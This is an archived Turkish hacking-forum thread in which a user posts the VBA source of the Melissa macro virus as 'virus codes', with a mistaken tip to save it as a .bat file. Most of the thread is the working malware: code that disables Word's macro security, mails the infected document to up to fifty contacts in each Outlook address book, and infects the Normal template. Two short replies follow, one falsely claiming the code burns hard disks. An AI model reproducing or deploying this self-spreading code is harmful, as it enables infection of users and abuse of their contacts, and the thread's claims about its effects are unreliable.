İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

melissa virüs kodları :)

02-12-2012 22:58
#1
vahap6347 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2010
Mesajlar:
21
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
5
'Asagidaki kodlari bir metin belgesine ekleyip .bat olarak kaydedin


Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Software\Mi crosoft\Office\9.0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls( "Security...").Enabl ed = False
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Software\Mi crosoft\Office\9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls( "Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Applicat ion")
Set DasMapiName = UngaDasOutlook.GetNameSpace("M API")
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Software\Mi crosoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Ad d Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.A dd Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Software\Mi crosoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = Active********.VBProject.VBCom ponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBCom ponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullN ame
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

03-12-2012 10:52
#2
Trojanmen - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2012
Mesajlar:
12
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
3
ne işe yariyor onuda yazsaydin iyi olurdu
03-12-2012 12:36
#3
dangareus - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2011
Mesajlar:
1.251
Teşekkür (Etti):
1
Teşekkür (Aldı):
69
Konular:
119
hardısk yakıorrr bu kodlarr
Kullanıcı İmzası
DaNgArEuS

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı